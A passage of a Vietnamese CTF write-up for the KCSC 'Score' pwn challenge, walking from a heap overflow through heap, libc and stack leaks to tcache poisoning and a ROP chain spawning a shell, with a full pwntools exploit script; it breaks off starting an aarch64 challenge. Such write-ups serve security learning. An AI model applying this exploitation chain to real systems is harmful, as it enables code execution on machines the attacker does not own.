}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">show</span><span class="hljs-params">(sinhVien* top)</span> </span>{
    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> idx = <span class="hljs-number">0</span>;
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"$$$$$ KCSC SCORE $$$$$"</span>);
    <span class="hljs-keyword">while</span> (top != <span class="hljs-literal">NULL</span>) {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"ID: %d\nNAME: %s\nAGE: %d\nSCORE: %.2f\n\n"</span>, idx, top-&gt;name, top-&gt;age, top-&gt;score);
        top = top-&gt;next;
        idx++;
    }
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"$$$$$$$$$$$$$$$$$$$$$$"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">delete</span><span class="hljs-params">(sinhVien **head, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> idx)</span> </span>{
    <span class="hljs-keyword">if</span> (*head == <span class="hljs-literal">NULL</span>) {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"List is empty. Cannot delete.\n"</span>);
        <span class="hljs-keyword">return</span>;
    }
    sinhVien *temp = *head;
    <span class="hljs-keyword">if</span> (idx == <span class="hljs-number">0</span>) {
        *head = temp-&gt;next; 
        <span class="hljs-built_in">free</span>(temp-&gt;name);
        <span class="hljs-built_in">free</span>(temp);
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Successfull.\n"</span>);
        <span class="hljs-keyword">return</span>;
    }
    sinhVien *prev = <span class="hljs-literal">NULL</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; idx; i++) {
        <span class="hljs-keyword">if</span> (temp == <span class="hljs-literal">NULL</span>) {
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Invalid index.\n"</span>);
            <span class="hljs-keyword">return</span>;
        }
        prev = temp;
        temp = temp-&gt;next;
    }
    <span class="hljs-keyword">if</span> (temp == <span class="hljs-literal">NULL</span>) {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Invalid index.\n"</span>);
        <span class="hljs-keyword">return</span>;
    }
    prev-&gt;next = temp-&gt;next;
    <span class="hljs-built_in">free</span>(temp-&gt;name);
    <span class="hljs-built_in">free</span>(temp);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Successfull.\n"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    setup();
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Welcome to KCSC Score !!!"</span>);
    sinhVien *head = <span class="hljs-literal">NULL</span>;
    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> choice;
    <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) {
        menu();
        <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%u"</span>, &amp;choice);
        getchar(); 
        <span class="hljs-keyword">switch</span> (choice) {
            <span class="hljs-keyword">case</span> <span class="hljs-number">1</span>:
                add(&amp;head);
                <span class="hljs-keyword">break</span>;
            <span class="hljs-keyword">case</span> <span class="hljs-number">2</span>:
                show(head);
                <span class="hljs-keyword">break</span>;
            <span class="hljs-keyword">case</span> <span class="hljs-number">3</span>:
                <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Index: "</span>);
                <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%u"</span>, &amp;choice);
                getchar(); 
                <span class="hljs-keyword">delete</span>(&amp;head,choice);
                <span class="hljs-keyword">break</span>;
            <span class="hljs-keyword">case</span> <span class="hljs-number">4</span>:
                <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
            <span class="hljs-keyword">default</span>:
                <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Invalid choice."</span>);
                <span class="hljs-keyword">break</span>;
        }
    }
}
</code></pre>
<ul>
<li>Có lỗi <code>Heap Buffer Overflow</code> ở dòng 41. Trước đó mình nhập size cho name để cấp phát một vùng nhớ nhưng lại luôn nhập vào <code>0x1337</code> byte</li>
</ul>
<p><strong>Leak</strong></p>
<ul>
<li>đĐầu tiên mình sẽ tạo 2 sinhvien như sau</li>
</ul>
<pre><code class="lang-c">add(<span class="hljs-number">0x10</span>, b<span class="hljs-number">'</span>\x11<span class="hljs-number">'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
add(<span class="hljs-number">0x10</span>, b<span class="hljs-number">'</span>\x22<span class="hljs-number">'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
</code></pre>
<pre><code class="lang-c">#sv0
<span class="hljs-number">0x1780b290</span>:     <span class="hljs-number">0x0</span>                  <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2a0</span>:     <span class="hljs-number">0x1780b2c0</span>           <span class="hljs-number">0x3f80000000000001</span>
<span class="hljs-number">0x1780b2b0</span>:     <span class="hljs-number">0x0</span>                  <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2c0</span>:     <span class="hljs-number">0x1111111111111111</span>   <span class="hljs-number">0x0</span>
#sv1
<span class="hljs-number">0x1780b2c0</span>:     <span class="hljs-number">0x0</span>                  <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2e0</span>:     <span class="hljs-number">0x1780b300</span>           <span class="hljs-number">0x3f80000000000001</span>
<span class="hljs-number">0x1780b2f0</span>:     <span class="hljs-number">0x0</span>                  <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b300</span>:     <span class="hljs-number">0x2222222222222222</span>   <span class="hljs-number">0x0</span>
</code></pre>
<ul>
<li>Sau đó xóa sv1 đi</li>
</ul>
<pre><code class="lang-c">#sv0
<span class="hljs-number">0x1780b290</span>:     <span class="hljs-number">0x0</span>                  <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2a0</span>:     <span class="hljs-number">0x1780b2c0</span>           <span class="hljs-number">0x3f80000000000001</span>
<span class="hljs-number">0x1780b2b0</span>:     <span class="hljs-number">0x0</span>                  <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2c0</span>:     <span class="hljs-number">0x1111111111111111</span>   <span class="hljs-number">0x0</span>

<span class="hljs-number">0x1780b2d0</span>:     <span class="hljs-number">0x0</span>                  <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2e0</span>:     <span class="hljs-number">0x1781cb0b</span>           <span class="hljs-number">0xbc70b1f1aac74486</span>
<span class="hljs-number">0x1780b2f0</span>:     <span class="hljs-number">0x0</span>                  <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b300</span>:     <span class="hljs-number">0x1780b</span>              <span class="hljs-number">0xbc70b1f1aac74486</span>
</code></pre>
<ul>
<li><p>Tại địa chỉ <code>0x1780b2e0</code> là địa chỉ của heap nhưng đã bị encrypt do cơ chế bảo vệ xor fd khi free vào tcache (do chall ở bản glibc 2.35)</p>
</li>
<li><p>Tuy nhiên vẫn có cách giải mã, có thể đọc thêm trên <a target="_blank" href="https://github.com/shellphish/how2heap/blob/master/glibc_2.35/decrypt_safe_linking.c">how2heap</a></p>
</li>
<li><p>Ở hàm <code>show</code> thì dùng <code>printf("%s", ...)</code> (in đến khi gặp NULL) để in ra tên sinh viên, mà đọc vào name thì dùng hàm <code>read</code> (không thêm NULL vào cuối chuỗi) nên ở đây mình sẽ xóa sv0 đi vào tạo lại rồi thêm name sao cho nối ngay đến địa chỉ <code>0x1780b2e0</code> để leak heap</p>
</li>
</ul>
<pre><code class="lang-c"><span class="hljs-keyword">delete</span>(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>, b<span class="hljs-number">'</span>\x33<span class="hljs-number">'</span>*<span class="hljs-number">0x20</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
show()
ru(b<span class="hljs-number">'</span>\x33<span class="hljs-number">'</span>*<span class="hljs-number">0x20</span>)
heap_base = decrypt(u64(r(<span class="hljs-number">4</span>) + b<span class="hljs-number">'</span>\<span class="hljs-number">0</span>\<span class="hljs-number">0</span>\<span class="hljs-number">0</span>\<span class="hljs-number">0'</span>)) &amp; ~<span class="hljs-number">0xfff</span>
info(<span class="hljs-string">'[*] heap base: '</span> + hex(heap_base))
</code></pre>
<pre><code class="lang-c">#sv0
<span class="hljs-number">0x1780b290</span>:     <span class="hljs-number">0x0</span>                     <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2a0</span>:     <span class="hljs-number">0x1780b2c0</span>              <span class="hljs-number">0x3f80000000000001</span>
<span class="hljs-number">0x1780b2b0</span>:     <span class="hljs-number">0x0</span>                     <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2c0</span>:     <span class="hljs-number">0x3333333333333333</span>      <span class="hljs-number">0x3333333333333333</span>

<span class="hljs-number">0x1780b2d0</span>:     <span class="hljs-number">0x3333333333333333</span>      <span class="hljs-number">0x3333333333333333</span>
<span class="hljs-number">0x1780b2e0</span>:     <span class="hljs-number">0x1781cb0b</span>              <span class="hljs-number">0xbc70b1f1aac74486</span>
<span class="hljs-number">0x1780b2f0</span>:     <span class="hljs-number">0x0</span>                     <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b300</span>:     <span class="hljs-number">0x1780b</span>                 <span class="hljs-number">0xbc70b1f1aac74486</span>
</code></pre>
<ul>
<li>Sau đó sửa lại về ban đầu và tạo lại sv1</li>
</ul>
<pre><code class="lang-c"><span class="hljs-keyword">delete</span>(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>, b<span class="hljs-number">'</span>\x33<span class="hljs-number">'</span>*<span class="hljs-number">0x18</span> + p64(<span class="hljs-number">0x21</span>), <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
add(<span class="hljs-number">0x10</span>, b<span class="hljs-number">'</span>\x22<span class="hljs-number">'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
</code></pre>
<ul>
<li><p>Tiếp đến mình sẽ tạo một chunk để free vào <code>unsorted bin</code> để leak libc</p>
</li>
<li><p>Cần phải tạo một chunk ngay sau để chunk lớn khi free không gộp vào topchunk. Mình sẽ free luôn chunk này đi để tăng <code>count</code> trong <code>tcache_per_thread</code> để lát dùng malloc địa chỉ tùy ý</p>
</li>
</ul>
<pre><code class="lang-c">add(<span class="hljs-number">0x500</span>, b<span class="hljs-number">'</span>\x44<span class="hljs-number">'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
add(<span class="hljs-number">0x30</span>, b<span class="hljs-number">'</span>\x55<span class="hljs-number">'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
<span class="hljs-keyword">delete</span>(<span class="hljs-number">3</span>)
<span class="hljs-keyword">delete</span>(<span class="hljs-number">2</span>)
</code></pre>
<pre><code class="lang-c">#sv2 (đã <span class="hljs-built_in">free</span>)
<span class="hljs-number">0x1780b310</span>:     <span class="hljs-number">0x0</span>                             <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b320</span>:     <span class="hljs-number">0x1781c05b</span>                      <span class="hljs-number">0xbc70b1f1aac74486</span>
<span class="hljs-number">0x1780b330</span>:     <span class="hljs-number">0x0</span>                             <span class="hljs-number">0x511</span>
<span class="hljs-number">0x1780b340</span>:     <span class="hljs-number">0x7fae55c1ace0</span> &lt;main_arena+<span class="hljs-number">96</span>&gt;  <span class="hljs-number">0x7fae55c1ace0</span> &lt;main_arena+<span class="hljs-number">96</span>&gt;
...
</code></pre>
<ul>
<li>Tiếp đến mình dùng sv0 overflow để sửa con trỏ name của sv1 để cho nó trỏ đến <code>0x1780b340</code> -&gt; leak libc</li>
</ul>
<pre><code class="lang-c"><span class="hljs-keyword">delete</span>(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>, b<span class="hljs-number">'</span>\x33<span class="hljs-number">'</span>*<span class="hljs-number">0x18</span>+p64(<span class="hljs-number">0x21</span>)+b<span class="hljs-number">'</span>\x40<span class="hljs-number">'</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
show()
ru(b<span class="hljs-number">'</span>ID: <span class="hljs-number">0</span>\nNAME: <span class="hljs-string">')
libc_leak = u64(r(6) + b'</span>\<span class="hljs-number">0</span>\<span class="hljs-number">0'</span>)
libc.address = libc_leak - <span class="hljs-number">0x21ace0</span>
info(<span class="hljs-string">'[*] libc base: '</span> + hex(libc.address))
</code></pre>
<ul>
<li>Lưu ý sau đoạn này sv1 là sv0 còn sv0 là sv1</li>
</ul>
<pre><code class="lang-c">#sv1
<span class="hljs-number">0x1780b290</span>:     <span class="hljs-number">0x0</span>                             <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2a0</span>:     <span class="hljs-number">0x1780b2c0</span>                      <span class="hljs-number">0x3f80000000000001</span>
<span class="hljs-number">0x1780b2b0</span>:     <span class="hljs-number">0x0</span>                             <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2c0</span>:     <span class="hljs-number">0x3333333333333333</span>              <span class="hljs-number">0x3333333333333333</span>

#sv0
<span class="hljs-number">0x1780b2d0</span>:     <span class="hljs-number">0x3333333333333333</span>              <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b2e0</span>:     <span class="hljs-number">0x1780b340</span>                      <span class="hljs-number">0x3f80000000000001</span>
<span class="hljs-number">0x1780b2f0</span>:     <span class="hljs-number">0x1780b2a0</span>                      <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b300</span>:     <span class="hljs-number">0x2222222222222222</span>              <span class="hljs-number">0x0</span>

<span class="hljs-number">0x1780b310</span>:     <span class="hljs-number">0x0</span>                             <span class="hljs-number">0x21</span>
<span class="hljs-number">0x1780b320</span>:     <span class="hljs-number">0x1781c05b</span>                      <span class="hljs-number">0xbc70b1f1aac74486</span>
<span class="hljs-number">0x1780b330</span>:     <span class="hljs-number">0x0</span>                             <span class="hljs-number">0x511</span>
<span class="hljs-number">0x1780b340</span>:     <span class="hljs-number">0x7fae55c1ace0</span> &lt;main_arena+<span class="hljs-number">96</span>&gt;  <span class="hljs-number">0x7fae55c1ace0</span> &lt;main_arena+<span class="hljs-number">96</span>&gt;
...
</code></pre>
<ul>
<li>Sau khi đã có libc thì lặp lại quy trình trên 1 lần nữa, tuy nhiên lần nảy sửa con trỏ name của sv0 thành <code>__environ</code> để leak stack</li>
</ul>
<pre><code class="lang-c"><span class="hljs-keyword">delete</span>(<span class="hljs-number">1</span>)
add(<span class="hljs-number">0x10</span>, b<span class="hljs-number">'</span>\x33<span class="hljs-number">'</span>*<span class="hljs-number">0x18</span>+p64(<span class="hljs-number">0x21</span>)+p64(libc.sym[<span class="hljs-string">'__environ'</span>]), <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
show()
ru(b<span class="hljs-number">'</span>ID: <span class="hljs-number">0</span>\nNAME: <span class="hljs-string">')
stack_leak = u64(r(6) + b'</span>\<span class="hljs-number">0</span>\<span class="hljs-number">0'</span>)
info(<span class="hljs-string">'[*] stack leak: '</span> + hex(stack_leak))
</code></pre>
<p><strong>tcache poisoning</strong></p>
<ul>
<li><p>Mục tiêu cuối cùng của mình là thay đổi saved rip của hàm <code>my_read</code> để <code>system("/bin/sh")</code></p>
</li>
<li><p>Dùng kĩ thuật Tcache Poisoning</p>
</li>
<li><p>Tính địa chỉ của saved rbp của hàm <code>my_read</code> sau khi xor theo cơ chế của tcache (vì khi malloc cũng cần căn chỉnh chunk sao cho lsb = 0)</p>
</li>
</ul>
<pre><code class="lang-plaintext">ret_addr = ((heap_base+0x2e0)&gt;&gt;12)^(stack_leak - 0x178)
</code></pre>
<ul>
<li>Sửa fd của chunk trong tache</li>
</ul>
<pre><code class="lang-c"><span class="hljs-keyword">delete</span>(<span class="hljs-number">1</span>)
add(<span class="hljs-number">0x10</span>, b<span class="hljs-number">'</span>\x33<span class="hljs-number">'</span>*<span class="hljs-number">0x18</span>+p64(<span class="hljs-number">0x41</span>)+p64(heap_base+<span class="hljs-number">0x300</span>), <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
<span class="hljs-keyword">delete</span>(<span class="hljs-number">0</span>)
<span class="hljs-keyword">delete</span>(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>, b<span class="hljs-number">'</span>\x33<span class="hljs-number">'</span>*<span class="hljs-number">0x18</span>+p64(<span class="hljs-number">0x41</span>)+p64(ret_addr), <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
</code></pre>
<p><img src="https://hackmd.io/_uploads/SJcVZY3Dkx.png" alt="image" /></p>
<ul>
<li><p>Vậy là đã có được địa chi saved rbp trong tcache</p>
</li>
<li><p>Giờ malloc nó và lấy shell thôi</p>
</li>
</ul>
<pre><code class="lang-c">pop_rdi = libc.address + <span class="hljs-number">0x000000000002a3e5</span>
binsh = next(libc.search(b<span class="hljs-number">'</span>/bin/sh\<span class="hljs-number">0'</span>))
ret = <span class="hljs-number">0x000000000040101a</span>
add(<span class="hljs-number">0x30</span>, b<span class="hljs-number">'</span>\<span class="hljs-number">0'</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
add(<span class="hljs-number">0x30</span>, p64(<span class="hljs-number">0</span>)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc.sym[<span class="hljs-string">'system'</span>]),<span class="hljs-number">1</span>,<span class="hljs-number">1</span>)
</code></pre>
<blockquote>
<p>KCSC{Have_you_passed_LapTrinhCanBan_yet?}</p>
</blockquote>
<p><strong>Full script</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.binary = exe = ELF(<span class="hljs-string">'./chall_patched'</span>, checksec=<span class="hljs-literal">False</span>)
libc = ELF(<span class="hljs-string">'./libc.so.6'</span>, checksec=<span class="hljs-literal">False</span>)
ld = ELF(<span class="hljs-string">'./ld-linux-x86-64.so.2'</span>, checksec=<span class="hljs-literal">False</span>)

info = <span class="hljs-keyword">lambda</span> msg: log.info(msg)
sla = <span class="hljs-keyword">lambda</span> msg, data: p.sendlineafter(msg, data)
sa = <span class="hljs-keyword">lambda</span> msg, data: p.sendafter(msg, data)
sl = <span class="hljs-keyword">lambda</span> data: p.sendline(data)
s = <span class="hljs-keyword">lambda</span> data: p.send(data)
slan = <span class="hljs-keyword">lambda</span> msg, num: sla(msg, str(num).encode())
san = <span class="hljs-keyword">lambda</span> msg, num: sa(msg, str(num).encode())
sln = <span class="hljs-keyword">lambda</span> num: sl(str(num).encode())
sn = <span class="hljs-keyword">lambda</span> num: s(str(num).encode())
r = <span class="hljs-keyword">lambda</span> nbytes: p.recv(nbytes)
ru = <span class="hljs-keyword">lambda</span> data: p.recvuntil(data)
rl = <span class="hljs-keyword">lambda</span> : p.recvline()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB</span>():</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> args.REMOTE:
        gdb.attach(p, gdbscript=<span class="hljs-string">f'''
            b*0x401539
            b*0x401664
            b*0x4015c4
            b*0x401374
            c
            '''</span>)

<span class="hljs-keyword">if</span> args.REMOTE:
    conn = <span class="hljs-string">'nc 36.50.177.41 50006'</span>.split()
    p = remote(conn[<span class="hljs-number">1</span>], int(conn[<span class="hljs-number">2</span>]))
<span class="hljs-keyword">else</span>:
    p = process(exe.path)
GDB()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">cipher</span>):</span>
    key = <span class="hljs-number">0</span>
    result = <span class="hljs-number">0</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">6</span>):
        bits = <span class="hljs-number">64</span> - <span class="hljs-number">12</span> * i
        <span class="hljs-keyword">if</span> bits &lt; <span class="hljs-number">0</span>: bits = <span class="hljs-number">0</span>
        result = ((cipher ^ key) &gt;&gt; bits) &lt;&lt; bits
        key = result &gt;&gt; <span class="hljs-number">12</span>
    <span class="hljs-keyword">return</span> result

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span>(<span class="hljs-params">size, name, age, score</span>):</span>
    slan(<span class="hljs-string">b'&gt; '</span>, <span class="hljs-number">1</span>)
    slan(<span class="hljs-string">b'Size name: '</span>, size)
    sa(<span class="hljs-string">b'Name: '</span>, name)
    slan(<span class="hljs-string">b'Age: '</span>, age)
    slan(<span class="hljs-string">b'Score: '</span>, score)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span>():</span>
    slan(<span class="hljs-string">b'&gt; '</span>, <span class="hljs-number">2</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span>(<span class="hljs-params">idx</span>):</span>
    slan(<span class="hljs-string">b'&gt; '</span>, <span class="hljs-number">3</span>)
    slan(<span class="hljs-string">b'Index: '</span>, idx)

add(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'\x11'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
add(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'\x22'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)

delete(<span class="hljs-number">1</span>)

delete(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'\x33'</span>*<span class="hljs-number">0x20</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
show()
ru(<span class="hljs-string">b'\x33'</span>*<span class="hljs-number">0x20</span>)
heap_base = decrypt(u64(r(<span class="hljs-number">4</span>) + <span class="hljs-string">b'\0\0\0\0'</span>)) &amp; ~<span class="hljs-number">0xfff</span>
info(<span class="hljs-string">'[*] heap base: '</span> + hex(heap_base))

delete(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'\x33'</span>*<span class="hljs-number">0x18</span> + p64(<span class="hljs-number">0x21</span>), <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
add(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'\x22'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)

add(<span class="hljs-number">0x500</span>, <span class="hljs-string">b'\x44'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
add(<span class="hljs-number">0x30</span>, <span class="hljs-string">b'\x55'</span>*<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
delete(<span class="hljs-number">3</span>)
delete(<span class="hljs-number">2</span>)

delete(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'\x33'</span>*<span class="hljs-number">0x18</span>+p64(<span class="hljs-number">0x21</span>)+<span class="hljs-string">b'\x40'</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
show()
ru(<span class="hljs-string">b'ID: 0\nNAME: '</span>)
libc_leak = u64(r(<span class="hljs-number">6</span>) + <span class="hljs-string">b'\0\0'</span>)
libc.address = libc_leak - <span class="hljs-number">0x21ace0</span>
info(<span class="hljs-string">'[*] libc base: '</span> + hex(libc.address))

delete(<span class="hljs-number">1</span>)
add(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'\x33'</span>*<span class="hljs-number">0x18</span>+p64(<span class="hljs-number">0x21</span>)+p64(libc.sym[<span class="hljs-string">'__environ'</span>]), <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
show()
ru(<span class="hljs-string">b'ID: 0\nNAME: '</span>)
stack_leak = u64(r(<span class="hljs-number">6</span>) + <span class="hljs-string">b'\0\0'</span>)
info(<span class="hljs-string">'[*] stack leak: '</span> + hex(stack_leak))

ret_addr = ((heap_base+<span class="hljs-number">0x2e0</span>)&gt;&gt;<span class="hljs-number">12</span>)^(stack_leak - <span class="hljs-number">0x178</span>)
delete(<span class="hljs-number">1</span>)
add(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'\x33'</span>*<span class="hljs-number">0x18</span>+p64(<span class="hljs-number">0x41</span>)+p64(heap_base+<span class="hljs-number">0x300</span>), <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
delete(<span class="hljs-number">0</span>)
delete(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'\x33'</span>*<span class="hljs-number">0x18</span>+p64(<span class="hljs-number">0x41</span>)+p64(ret_addr), <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)

pop_rdi = libc.address + <span class="hljs-number">0x000000000002a3e5</span>
binsh = next(libc.search(<span class="hljs-string">b'/bin/sh\0'</span>))
ret = <span class="hljs-number">0x000000000040101a</span>
add(<span class="hljs-number">0x30</span>, <span class="hljs-string">b'\0'</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>)
add(<span class="hljs-number">0x30</span>, p64(<span class="hljs-number">0</span>)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc.sym[<span class="hljs-string">'system'</span>]),<span class="hljs-number">1</span>,<span class="hljs-number">1</span>)

p.interactive()
</code></pre>
<h3 id="heading-kcsc-shop">KCSC Shop</h3>
<blockquote>
<p>một bài viết về arm rất hay của anh <a target="_blank" href="https://hackmd.io/@trhoanglan04/arm">hlaan</a> đã hỗ trợ mình rất nhiều trong khi làm bài này</p>
</blockquote>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/rkogq95wJe.png" alt="image" /></p>
<ul>
<li>Khác với các bài trước đó được viết với kiến trúc amd64, bài này được viết với aarch64</li>
</ul>
<p><img src="https://hackmd.io/_uploads/SJKv6Y5vkl.png" alt="Screenshot 2025-01-19 213345" /></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  uint uVar1;
  <span class="hljs-keyword">int</span> iVar2;
  <span class="hljs-keyword">char</span> local_38 [<span class="hljs-number">48</span>];
  <span class="hljs-keyword">long</span> local_8;

  local_8 = __stack_chk_guard;
  initialize(&amp;__stack_chk_guard,<span class="hljs-number">0</span>);
  local_38[<span class="hljs-number">0</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">1</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">2</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">3</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">4</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">5</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">6</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">7</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">8</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">9</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">10</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0xb</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0xc</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0xd</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0xe</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0xf</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x10</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x11</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x12</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x13</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x14</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x15</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x16</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x17</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x18</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x19</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x1a</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x1b</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x1c</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x1d</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x1e</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x1f</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x20</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x21</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x22</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x23</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x24</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x25</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x26</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x27</span>] = <span class="hljs-string">'\0'</span>;
